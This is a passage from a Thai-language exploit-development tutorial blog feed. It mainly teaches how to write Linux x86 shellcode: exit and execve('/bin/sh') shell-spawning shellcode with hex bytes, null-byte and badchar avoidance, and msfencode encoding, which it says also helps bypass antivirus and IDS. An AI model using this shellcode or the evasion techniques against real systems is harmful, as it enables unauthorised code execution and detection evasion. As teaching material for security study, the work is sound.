8048393:       83 eb 01                sub    $0x1,%ebx  # แล้วลบด้วย 1 จะได้จำนวนของ destructor function&lt;br /&gt; 8048396:       39 d8                   cmp    %ebx,%eax&lt;br /&gt; 8048398:       73 1e                   jae    80483b8 &amp;lt;__do_global_dtors_aux+0x48&amp;gt;&lt;br /&gt; 804839a:       8d b6 00 00 00 00       lea    0x0(%esi),%esi&lt;br /&gt; 80483a0:       83 c0 01                add    $0x1,%eax&lt;br /&gt; 80483a3:       a3 34 96 04 08          mov    %eax,0x8049634&lt;br /&gt; 80483a8:       ff 14 85 2c 95 04 08    call   *0x804952c(,%eax,4)&lt;br /&gt; 80483af:       a1 34 96 04 08          mov    0x8049634,%eax&lt;br /&gt; 80483b4:       39 d8                   cmp    %ebx,%eax  # ลูปจนจำนวนที่เรียก desturctor function เท่ากับที่คำนวณได้&lt;br /&gt; 80483b6:       72 e8                   jb     80483a0 &amp;lt;__do_global_dtors_aux+0x30&amp;gt;&lt;br /&gt; 80483b8:       c6 05 30 96 04 08 01    movb   $0x1,0x8049630&lt;br /&gt; 80483bf:       83 c4 04                add    $0x4,%esp&lt;br /&gt; 80483c2:       5b                      pop    %ebx&lt;br /&gt; 80483c3:       5d                      pop    %ebp&lt;br /&gt; 80483c4:       c3                      ret&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เมื่ออ่าน assembly แล้วจะเห็นว่า เมื่อ compile ด้วย gcc4 ใน __do_global_dtors_aux function จะทำการหาจำนวนของ destructor function จาก .dtors section ซึ่งใส่ค่าตายตัวลงไป ทำให้ถึงแม้เราจะเขียนเพิ่มเหมือนในตัวอย่างที่ผ่านมา โปรแกรมก็จะไม่มีการเรียกไปที่ address ที่เราใส่เข้าไป &lt;b&gt;ยกเว้น&lt;/b&gt;ในโปรแกรมนั้น จะมี destructor function อยู่แล้ว&lt;/p&gt;&lt;br/&gt;&lt;p&gt;&lt;b&gt;Reference:&lt;/b&gt;&lt;br/&gt;- &lt;a href="http://vx.netlux.org/lib/viz00.html"&gt;Izik 'Abusing .CTORS and .DTORS for fun 'n profit' (VX heavens)&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-6886405779182776451?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/6886405779182776451/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2011/02/overwriting-dtors.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/6886405779182776451'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/6886405779182776451'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2011/02/overwriting-dtors.html' title='Overwriting dtors'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-8283153291547169027</id><published>2011-02-03T20:14:00.001+07:00</published><updated>2011-02-25T21:58:00.824+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='writing exploit'/><title type='text'>การเขียน Linux x86 Shellcode</title><content type='html'>&lt;p&gt;ในหัวข้อ "&lt;a href="http://thtutz.blogspot.com/2011/01/buffer-overflow-spawn-shell.html"&gt;Buffer Overflow ให้โปรแกรม spawn shell&lt;/a&gt;" นั้น ผมได้ให้ shellcode สำหรับ spawn shell ซึ่งคงเห็นกันแล้วว่าหน้าตา shellcode เป็นยังไง (มันก็คือ machine code นั่นแหละ) และในหัวข้อนี้ ผมจะอธิบายวิธีการเขียน shellcode บน Linux x86 (หัวข้อนี้จะต้องใช้ assembly เกือบหมดนะครับ ดังนั้นผมเลยเขียนเป็น nasm syntax ไว้ด้วยใน &lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_07.tgz?attredirects=0&amp;d=1"&gt;ex_07.tgz&lt;/a&gt; เพื่อความถนัดของแต่ละคน)&lt;/p&gt;&lt;p&gt;การทำงานของแต่ละ process โดยปกติจะทำงานอยู่ใน user mode และเมื่อโปรแกรมต้องการเรียกใช้งานที่เกี่ยวกับ Operating System จะต้องทำการเรียก System Call (เช่น fork, execve, read, write) โดยจะมีการส่ง parameters เพื่อบอกว่าต้องการทำอะไร คล้ายๆ กับการเรียก function แล้ว process นั้นจะสลับการทำงานไปอยู่ใน kernel mode และสลับกับมาทำงานใน user mode เมื่อทำงานเสร็จ (เหมือนจบ function) หรืออาจจะกล่าวได้ว่า System Calls คือ functions สำหรับเรียกใช้งาน OS&lt;/p&gt;&lt;p&gt;โดยปกติการเรียก system call จะทำการเรียกผ่าน C library (libc) ซึ่งทำหน้าที่เป็น wrapper เพื่อให้ code เรา port ไป compile บน OS อื่นได้ (วิธีการเรียก system call ของแต่ละ OS ไม่จำเป็นต้องเหมือนกัน) สำหรับ Linux นั้น system call จะเป็นหมายเลขเพื่อกำหนดว่าจะให้ทำอะไร ซึ่งสามารถดูได้ที่ไฟล์ &lt;span class="code"&gt;/usr/include/asm/unistd.h&lt;/span&gt; (สำหรับคนใช้ Ubuntu 10.04 จะเห็นในไฟล์มีแค่ include ไฟล์อื่น เนื่องด้วยผมอธิบายเฉพาะ 32 bit ดังนั้นให้ใช้ไฟล์ unistd_32.h) แต่ถ้าใครชอบดู online ก็ดูได้ที่ &lt;a href="http://syscalls.kernelgrok.com/"&gt;http://syscalls.kernelgrok.com/&lt;/a&gt; โดยผมได้เอาส่วนที่ผมจะพูดถึงต่อไปมาแสดงไว้ข้างล่าง&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;#define __NR_restart_syscall      0&lt;br /&gt;#define __NR_exit                 1&lt;br /&gt;#define __NR_fork                 2&lt;br /&gt;#define __NR_execve              11&lt;br /&gt;#define __NR_setuid              23&lt;br /&gt;#define __NR_setgid              46&lt;br /&gt;#define __NR_geteuid             49&lt;br /&gt;#define __NR_dup2                63&lt;br /&gt;#define __NR_setreuid            70&lt;br /&gt;#define __NR_socketcall         102&lt;br /&gt;#define __NR_exit_group         252&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ส่วนวิธีการเรียกใช้ system call ด้วย assembly คือใส่หมายเลขของ system call ไว้ที่ register eax และ arguments ต่างๆ ไว้ใน register ebx, ecx, edx, esx, edi, ebp ตามลำดับ แต่ถ้า arguments มีเกิน 6 ตัวก็ให้ใส่ address ของ argument array ไว้ที่ ebx หลังจากกำหนดค่าต่างๆใน register แล้วก็ใช้ interrupt หมายเลข 0x80 และ้ผลลัพธ์ของ system call จะ return กลับมาที่ eax&lt;/p&gt;&lt;p&gt;พูดถึง system call ไปพอสมควร ตอนนี้เรามาเข้าเรื่อง shellcode กันดีกว่า  shellcode คือ code ที่เราต้องการให้ทำงาน เมื่อเราสามารถเปลี่ยนแปลงให้โปรแกรมไปทำงานที่ code ของเราได้ โดยสิ่งสำคัญของ shellcode ควรมีขนาดเล็ก เพราะโดบปกติขนาดของ memory ที่เราสามารถ inject code เข้าไปนั้นมีขนาดจำกัด และความแตกต่างที่สำคัญของ shellcode กับโปรแกรมปกติ คือ ถ้าต้องมีการใช้ส่วนที่เป็นข้อมูล ก็ต้องอยู่ใน shellcode ของเรา ไม่มีการแบ่งเป็น section เหมือนโปรแกรมทั่วไป&lt;/p&gt;&lt;h4&gt;Exit Shellcode&lt;/h4&gt;&lt;p&gt;เรามาดูตัวอย่างแรกกันดีกว่า (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_07_1.c?attredirects=0&amp;d=1"&gt;ex_07_1.c&lt;/a&gt;) เพื่อเขียน exit system call อย่างที่ผมได้บอกว่า libc เป็น wrapper ดังนั้นวิธีหนึ่งในการดูวิธีเรียก system call คือเขียน code เป็น C แล้ว compile ด้วย -static option หลังจากนั้นใช้ gdb เพื่อดูว่า assembly นั้นเขียนอย่างไร&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;/* gcc -static -o ex_07_1 ex_07_1.c */&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;    exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ gdb -q ./ex_07_1&lt;br /&gt;Reading symbols from /home/worawit/tutz/ch07/ex_07_1...(no debugging symbols found)...done.&lt;br /&gt;(gdb) disass main&lt;br /&gt;...  # ไล่ไปเรื่อยๆ จนเจอ function _exit ใน function __run_exit_handlers&lt;br /&gt;(gdb) disas _exit&lt;br /&gt;Dump of assembler code for function _exit:&lt;br /&gt; 0x0804f700 &lt;+0&gt;:     mov    0x4(%esp),%ebx  # ใส่ argument ที่ 1 (exit value) ไว้ที่ ebx&lt;br /&gt; 0x0804f704 &lt;+4&gt;:     mov    $0xfc,%eax      # ใส่หมายเลข system call exit_group ไว้ที่ eax&lt;br /&gt; 0x0804f709 &lt;+9&gt;:     int    $0x80           # system call&lt;br /&gt; 0x0804f70b &lt;+11&gt;:    mov    $0x1,%eax # ใส่หมายเลข system call exit ไว้ที่ eax (ebx ใช้ค่าเดิม)&lt;br /&gt; 0x0804f710 &lt;+16&gt;:    int    $0x80           # system call&lt;br /&gt; 0x0804f712 &lt;+18&gt;:    hlt&lt;br /&gt;End of assembler dump.&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;อีกวิธี เพื่อดูว่ามีการเรียก system call อะไร ด้วย argument อะไรบ้าง คือคำสั่ง strace&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ strace ./ex_07_1&lt;br /&gt;execve("./ex_07_1", ["./ex_07_1"], [/* 20 vars */]) = 0&lt;br /&gt;...&lt;br /&gt;exit_group(1)                           = ?&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่า ผลที่ได้จาก gdb และ strace นั้น แสดงว่า libc ใช้ exit_group system call แล้ว exit_group คืออะไร และทำไมถึงไม่ใช่ exit system call ละ exit_group system call คือคำสั่งที่ใช้สำหรับ exit ทุก thread แต่ exit system call จะออกเฉพาะ thread ของตัวเองเท่านั้น เนื่องด้วย libc เป็น wrapper เพื่อความสะดวกของ programmer จึงได้เขียนให้ exit() function นั้นเรียก exit_group&lt;/p&gt;&lt;p&gt;หลังจากเห็นเกี่ยวกับ exit system call มาพอสมควร เรามาเริ่มเขียนกันใน assembly กันดีกว่า โดยผมจะใช้ AT&amp;T syntax นะครับ ซึ่งจะได้ดังนี้ (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_07_2.s?attredirects=0&amp;d=1"&gt;ex_07_2.s&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;.data&lt;br /&gt;.text&lt;br /&gt;&lt;br /&gt;.globl _start&lt;br /&gt;&lt;br /&gt;_start:&lt;br /&gt;&lt;br /&gt;# exit(0)&lt;br /&gt;movl $0x1,%eax&lt;br /&gt;movl $0,%ebx&lt;br /&gt;int  $0x80&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ใช้คำสั่ง as เพื่อ compile เป็น machine code ใน object file และใช้คำสั่ง objdump เพื่อดู machine code&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ as -o ex_07_2.o ex_07_2.s&lt;br /&gt;$ objdump -d ex_07_2.o&lt;br /&gt;&lt;br /&gt;ex_07_2.o:     file format elf32-i386&lt;br /&gt;&lt;br /&gt;Disassembly of section .text:&lt;br /&gt;&lt;br /&gt;00000000 &lt;_start&gt;:&lt;br /&gt;   0:   b8 01 00 00 00          mov    $0x1,%eax&lt;br /&gt;   5:   bb 00 00 00 00          mov    $0x0,%ebx&lt;br /&gt;   a:   cd 80                   int    $0x80&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะได้ shellcode คือ&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;โดยเราสามารถทดสอบ shellcode ของเราได้โดยใช้ C code ที่เป็น template ที่เตรียมไว้ไฟล์ &lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/testshellcode.c?attredirects=0&amp;d=1"&gt;testshellcode.c&lt;/a&gt; (ไม่แสดง code นะครับ) แต่จะเห็นว่ากว่าจะได้ shellcode เราต้องทำทีละ command และค่อย copy machine code ออก ผมจึงได้เขียน shell script สำหรับทำทั้งหมดไว้แล้ว (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/build-sc.sh?attredirects=0&amp;d=1"&gt;build-sc.sh&lt;/a&gt; และ &lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/clean-sc.sh?attredirects=0&amp;d=1"&gt;clean-sc.sh&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ build-sc.sh ex_07_2&lt;br /&gt;Compiling ex_07_2.s to ex_07_2.o&lt;br /&gt;&lt;br /&gt;Extracting shellcode from ex_07_2.o to ex_07_2.sc&lt;br /&gt;\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80&lt;br /&gt;&lt;br /&gt;Creating ex_07_2.sctest.c&lt;br /&gt;&lt;br /&gt;Compiling ex_07_2.sctest.c to ex_07_2.sctest&lt;br /&gt;$ ls ex_07_2*&lt;br /&gt;ex_07_2.o  ex_07_2.s  ex_07_2.sc  ex_07_2.sctest  ex_07_2.sctest.c&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;วิธี check ว่า shellcode เราเรียก system call ถูกต้องคือใช้ strace จะเห็นว่ามีการเรียก exit system call ตามนี้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ strace ./ex_07_2.sctest&lt;br /&gt;execve("./ex_07_2.sctest", ["./ex_07_2.sctest"], [/* 20 vars */]) = 0&lt;br /&gt;...&lt;br /&gt;_exit(0)                                = ?&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ได้แล้ว exit shellcode แต่จะเห็นว่าตอนนี้ shellcode ของเรามีขนาด 12 bytes และที่สำคัญคือมี \x00 ซึ่งปัญหา buffer overflow ส่วนมากเกิดจาก function พวก strcpy() ที่จะหยุด copy เมื่อเจอ \x00 ทำให้ไม่สามารถ copy shellcode ของเราไปทั้งหมด ดังนั้นสิ่งที่เราควรจะแก้คือทำให้ไม่มี \x00 ซึ่งอาจทำการแก้ assembly code ได้ดังนี้ (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_07_3.s?attredirects=0&amp;d=1"&gt;ex_07_3.s&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;.data&lt;br /&gt;.text&lt;br /&gt;&lt;br /&gt;.globl _start&lt;br /&gt;&lt;br /&gt;_start:&lt;br /&gt;&lt;br /&gt;# exit(0)&lt;br /&gt;xorl %eax,%eax   # ใช้ xor เพื่อกำหนดค่า eax เป็น 0&lt;br /&gt;xorl %ebx,%ebx   # ใช้ xor เพื่อกำหนดค่า ebx เป็น 0&lt;br /&gt;movb $1,%al  # กำหนดค่า eax เป็น 1 สามารถใช้ movb ลงใน al เพราะ eax เป็น 0 แล้ว และทำให้ไม่ให้มี \x00&lt;br /&gt;int  $0x80&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ซึ่งเมื่อ compile และดูด้วย assembly code ด้วย objdump จะได้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ build-sc-gas.sh ex_07_3&lt;br /&gt;...&lt;br /&gt;Extracting shellcode from ex_07_3.bin to ex_07_3.sc&lt;br /&gt;\x31\xc0\x31\xdb\xb0\x01\xcd\x80&lt;br /&gt;...&lt;br /&gt;$ objdump -d ex_07_3.o&lt;br /&gt;...&lt;br /&gt;00000000 &lt;_start&gt;:&lt;br /&gt;   0:   31 c0                   xor    %eax,%eax&lt;br /&gt;   2:   31 db                   xor    %ebx,%ebx&lt;br /&gt;   4:   b0 01                   mov    $0x1,%al&lt;br /&gt;   6:   cd 80                   int    $0x80&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่า exit shellcode ใหม่ของเรานั้นไม่มี \x00 และมีขนาด 8 bytes แต่ถ้าเราไม่สนใจ exit code คือค่า ebx เป็นอะไรก็ได้ เราก็สามารถที่จะเอาคำสั่ง xor ebx ออกได้ ก็จะได้ shellcode ขนาด 6 bytes&lt;/p&gt;&lt;h4&gt;Bad Characters (badchars)&lt;/h4&gt;&lt;p&gt;badchars คือตัวอักษรที่ใช้ไม่ได้ใน payload ซึ่งส่วนมากจะมีอยู่ 2 สาเหตุคือใส่ไปแล้วจะทำให้โปรแกรมรับข้อมูลเราได้ไม่หมด กับโดนเปลี่ยนเป็นตัวอักษรอื่น เช่นถ้า code มีปัญหาที่ str*() ใน payload ของเราจะไม่สามารถที่จะใช้ตัวอักษร \x00 ได้ ตัวอักษร \x00 ก็จะเป็น badchar&lt;/p&gt;&lt;p&gt;สำหรับตัวอย่างและโจทย์ที่ผมให้ เราสามารถรู้ badchars จาก code แต่โดยปกติวิธีการหา badchars ในโปรแกรมใหญ่ๆ และโปรแกรมที่ไม่มี source code จะทำโดยจากส่งค่าตั้งแต่ 0x00 ถึง 0xff แล้วทำการเปรียบเทียบกับค่าใน memory หลังจากที่โปรแกรมรับข้อมูลไปแล้ว&lt;/p&gt;&lt;p&gt;ในหัวข้อนี้ เวลาเขียน shellcode ผมจะสมมติว่า badchar คือ \x00 ตัวเดียว ยกเว้นผมจะระบุไว้ และเราจะทำการหลีกเลี่ยง badchars แบบ manual ด้วยวิธีการเปลี่ยนคำสั่ง assembly แต่การทำงานยังเหมือนเดิม สำหรับหัวข้อหลังๆ ที่ต้องใช้ payload ที่มีความซับซ้อนมากขึ้น ผมจะใช้ msfpayload กับ msfencode เพื่อสร้าง shellcode และหลีกเลี่ยง badchars&lt;/p&gt;&lt;p&gt;ตัวอย่างสำหรับการใช้ msfencode เพื่อเลี่ยง badchars โดยสมมติว่า badchar คือ \x00 กับ \xc0 เราสามารถทำได้ดังนี้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"' | msfencode -b '\x00\xc0' -t c&lt;br /&gt;[*] x86/shikata_ga_nai succeeded with size 36 (iteration=1)&lt;br /&gt;&lt;br /&gt;unsigned char buf[] =&lt;br /&gt;"\xdd\xc1\xb8\xfa\x64\xfa\x88\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"&lt;br /&gt;"\x03\x83\xc2\x04\x31\x42\x13\x03\xb8\x77\x18\x7d\x0d\xb8\xed"&lt;br /&gt;"\xa5\xdd\x39\xc3\xda";&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่า shellcode ใหม่นั้น ไม่มีตัวอักษร \x00 กับ \xc0 และถ้าลองเอาไปทดสอบ จะเห็นว่าได้ผลเหมือนเดิม ซึ่งประโยชน์ของ encoder นอกจากใช้หลีกเลี่ยง badchars แล้วยังสามารถช่วย bypass AV กับ IDS ได้ เพราะการทำงานของ encoder จะคล้ายๆ กับการทำงานของพวก protector/packer&lt;/p&gt;&lt;h4&gt;Shellcode สำหรับ Spawning Shell&lt;/h4&gt;&lt;p&gt;คราวนี้ก็มาถึง shellcode ที่ผมเคยให้ไป แต่เพื่อไม่ให้ยาว ผมไม่เขียนภาษา C ให้ดูนะครับ argument ของ execve system call จะตรงกับ execve ใน libc ทั้งหมด โดยเป้าหมายแรกที่เราต้องการคือ ให้ shellcode รันเหมือนกับคำสั่ง &lt;span class="code"&gt;execve("/bin/sh", { "/bin/sh", 0}, 0)&lt;/span&gt; ซึ่งต้องมีกำหนดค่า register ต่อไปนี้&lt;br/&gt;- eax เป็น 0xb (system call number)&lt;br/&gt;- ebx (argument ที่ 1) เป็น address ของ "/bin/sh"&lt;br/&gt;- ecx (argument ที่ 2) เป็น address ของ { "/bin/sh", 0 }&lt;br/&gt;- edx (argument ที่ 3) เป็น 0&lt;/p&gt;&lt;p&gt;ถ้าใครลองเขียนเอง จะเห็นความแตกต่างจาก exit shellcode คือ execve ต้องการ string "/bin/sh" และต้องการ array of pointers ที่ชี้ไป string "/bin/sh" กับ NULL วิธีหนึ่งคือนำ string ไปต่อท้าย shellcode แต่ปัญหาต่อไป คือเราจะรู้ address ของ string เราได้ยังไง&lt;/p&gt;&lt;p&gt;โดยปกติ เพื่อให้โปรแกรม run shellcode ของเรา เราจะต้อง overflow เพื่อเปลี่ยน eip ชี้ไปยัง shellcode ของเรา และยังจำได้มั้ยครับว่าคำสั่ง call ใน assembly เปรียบเสมือน "push eip" แล้ว "jmp addr" ดังนั้นถ้าเราใช้ call หลังจากที่ eip ชี้ไปที่ shellcode ของเรา ใน stack ก็จะมีค่า address ของหลังคำสั่ง call ทำให้เราสามารถเอาค่าออกมาได้จาก stack ด้วยคำสั่ง pop ซึ่งจะได้ assembly คร่าวๆ คือ&lt;/p&gt;&lt;pre class="language-bsh"&gt;&lt;br /&gt;jmp  binsh  # กระโดดไปส่วนของ string ก่อน เพื่อหา address&lt;br /&gt;&lt;br /&gt;shellcode:&lt;br /&gt;pop %ebx    # pop เอา address ของ "/bin/sh" ไว้ใน ebx (ค่า ebx เป็นที่เราต้องการแล้ว)&lt;br /&gt;# ... กำหนดค่าต่างๆ ของ registers&lt;br /&gt;&lt;br /&gt;binsh:&lt;br /&gt;call shellcode   # เพื่อ push eip ลงใน stack&lt;br /&gt;.asciz "/bin/sh"  # string "/bin/sh" ไว้หลัง call เพื่่อให้ saved eip ชี้มาที่ address นี้พอดี&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ได้ argument แรกแล้ว ต่อไป argument ที่ 2 คือ array of pointers ที่ชี้ไป { "/bin/sh", 0 } (ดูรูปประกอบ) วิธีหนึ่งคือสร้างต่อท้ายหลัง string "/bin/sh" โดย 4 bytes แรกจะเก็บ address ของ "/bin/sh" และ 4 bytes ถัดไปเก็บค่า 0 ทำให้ได้ assembly ตามนี้ (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_07_4.s?attredirects=0&amp;d=1"&gt;ex_07_4.s&lt;/a&gt;)&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-6s3f8kbIzNE/TUp4yVXjodI/AAAAAAAAAE8/wqY1-AKjB4c/s1600/liexp_07_1.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="317" src="http://3.bp.blogspot.com/-6s3f8kbIzNE/TUp4yVXjodI/AAAAAAAAAE8/wqY1-AKjB4c/s400/liexp_07_1.gif" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;.data&lt;br /&gt;.text&lt;br /&gt;&lt;br /&gt;.globl _start&lt;br /&gt;&lt;br /&gt;_start:&lt;br /&gt;&lt;br /&gt;# execve("/bin/sh", {"/bin/sh",0}, 0)&lt;br /&gt;jmp  binsh&lt;br /&gt;&lt;br /&gt;shellcode:&lt;br /&gt;pop  %ebx&lt;br /&gt;xorl %eax,%eax      # set eax เป็น 0 ก่อน เพื่อนำค่า 0 ไปใช้&lt;br /&gt;movb %al,0x7(%ebx)  # ให้แน่ใจว่า string "/bin/sh" ลงท้ายด้วย NULL&lt;br /&gt;leal 0x8(%ebx),%ecx # กำหนดค่า ecx (arg2) ไว้ที่หลัง string "/bin/sh"&lt;br /&gt;movl %ebx,(%ecx)    # ใส่ address ของ "/bin/sh" ไว้ใน array&lt;br /&gt;movl %eax,0x4(%ecx) # ใส่ 0 ไว้ใน array&lt;br /&gt;xorl %edx, %edx     # set edx เป็น 0 (arg 3)&lt;br /&gt;movb $0xb,%al       # ใส่ system call number&lt;br /&gt;int  $0x80&lt;br /&gt;&lt;br /&gt;binsh:&lt;br /&gt;call shellcode&lt;br /&gt;.asciz "/bin/sh"&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เมื่อเราลอง compile และทดสอบดูจะได้ผลตามที่เราต้องการ ถ้าดูขนาดจะเห็นว่า shellcode นี้มีขนาด 34 bytes แต่ขนาดของ shellcode ที่ผมเคยให้ไว้มีขนาดเพียงแค่ 24 bytes ซึ่งใช้วิธีการสร้าง string โดย push ลงใน stack และใช้ stack ในการสร้าง array of pointers (ดูรูปข้างล่างประกอบ) แต่การ push ลง stack จะต้องทำทีละ 4 bytes และเพื่อจะให้ไม่มี \x00 เราจะใช้ "//bin/sh" แทนเพื่อให้มีขนาด 8 bytes และได้ผลเหมือนเดิม โดยเขียนเป็น assembly ได้ดังนี้ (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_07_5.s?attredirects=0&amp;d=1"&gt;ex_07_5.s&lt;/a&gt;)&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_4X9aA2jxLhc/TUqagJzxiCI/AAAAAAAAAFU/w7FzBo4mMic/s1600/liexp_07_2.gif" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="202" width="400" src="http://2.bp.blogspot.com/_4X9aA2jxLhc/TUqagJzxiCI/AAAAAAAAAFU/w7FzBo4mMic/s400/liexp_07_2.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;.data&lt;br /&gt;.text&lt;br /&gt;&lt;br /&gt;.globl _start&lt;br /&gt;&lt;br /&gt;_start:&lt;br /&gt;&lt;br /&gt;# execve("//bin/sh", {"//bin/sh",0}, 0)&lt;br /&gt;xorl %eax,%eax   # set eax เป็น 0&lt;br /&gt;push %eax        # ใส่ NULL for "//bin/sh"&lt;br /&gt;push $0x68732f6e # n/sh&lt;br /&gt;push $0x69622f2f # //bi&lt;br /&gt;movl %esp,%ebx   # set ebx ให้เป็น address ของ "/bin/sh" (top of stack)&lt;br /&gt;#xorl %edx,%edx   # set edx เป็น 0 (ใช้ 2 bytes)&lt;br /&gt;cltd # อีกวิธีในการ set edx เป็น 0 โดยใช้ 1 bytes ใช้คำสั่งนี้ได้เพราะ eax เป็น 0 (สำหรับ nasm ต้องใช้ cdq)&lt;br /&gt;push %edx        # ใส่ NULL สำหรับ array of pointers ตัวที่สอง&lt;br /&gt;push %ebx        # ใส่ address ของ "/bin/sh" สำหรับ array of pointers ตัวแรก&lt;br /&gt;movl %esp,%ecx   # กำหนด ecx ให้เป็น address ของ array of pointers (top of stack)&lt;br /&gt;movb $0xb,%al    # กำหนด execve system call&lt;br /&gt;int  $0x80&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ถ้าใครทำ "&lt;a href="http://thtutz.blogspot.com/2011/01/buffer-overflow-spawn-shell-2.html"&gt;Buffer Overflow ให้โปรแกรม spawn shell (แบบฝึกหัด 2)&lt;/a&gt;" จะเห็นว่าผมได้ให้ shellcode อีกอันหนึ่ง ที่ไม่มี badchar 0x0b เพื่อให้ scanf() function สามารถรับ input ได้หมด ถ้าเราลองใช้ objdump ดูจะเห็นว่าคำสั่งที่มีปัญหาคือ &lt;span class="command"&gt;"movb $0xb,%al"&lt;/span&gt; โดยวิธีที่ผมเลี่ยงการใช้ 0x0b คือใส่ค่า 0x7b เข้าไปก่อน แล้ว xor กับ 0x70 ตามนี้ (แสดงเฉพาะที่แก้นะครับ)&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;movb $0x7b,%al&lt;br /&gt;xorb $0x70,%al&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ก่อนจะจบ shellcode นี้ เรามาทำให้มันเล็กลงกันก่อนดีกว่า ถ้าเราอ่าน man จะได้ว่า argument ตัวที่ 2 ของ execve คือข้อมูลที่จะส่งผ่านไปที่โปรแกรมใหม่ โดยจะเป็น argv แสดงว่าถึงแม้ว่าเราใส่ค่าอื่นไป โปรแกรมใหม่ก็จะยังเป็น /bin/sh เพียงแค่ argv จะเปลี่ยนไป ดังนั้นเราสามารถสั่งเพียง execve("/bin//sh", 0, 0) ก็ได้ การทำงานยังคงเหมือนเดิม (แต่ถ้าใช้ ps ดู จะเห็นชื่อเปลี่ยนไป) และเมื่อเขียน assembly ใหม่ จะได้เป็น (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_07_6.s?attredirects=0&amp;d=1"&gt;ex_07_6.s&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;.data&lt;br /&gt;.text&lt;br /&gt;&lt;br /&gt;.globl _start&lt;br /&gt;&lt;br /&gt;_start:&lt;br /&gt;&lt;br /&gt;# execve("/bin//sh", 0, 0)&lt;br /&gt;xorl %ecx,%ecx   # set ecx เป็น 0&lt;br /&gt;push %ecx        # NULL สำหรับ "/bin//sh"&lt;br /&gt;push $0x68732f2f # //sh&lt;br /&gt;push $0x6e69622f # /bin&lt;br /&gt;movl %esp,%ebx   # set ebx เป็น address ของ "/bin//sh" (top of stack)&lt;br /&gt;leal 0xb(%ecx),%eax # ใช้ lea แทน xorl แล้ว movb จะประหยัดได้ 1 byte&lt;br /&gt;cltd             # set edx เป็น 0&lt;br /&gt;int  $0x80&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เมื่อ compile code นี้ 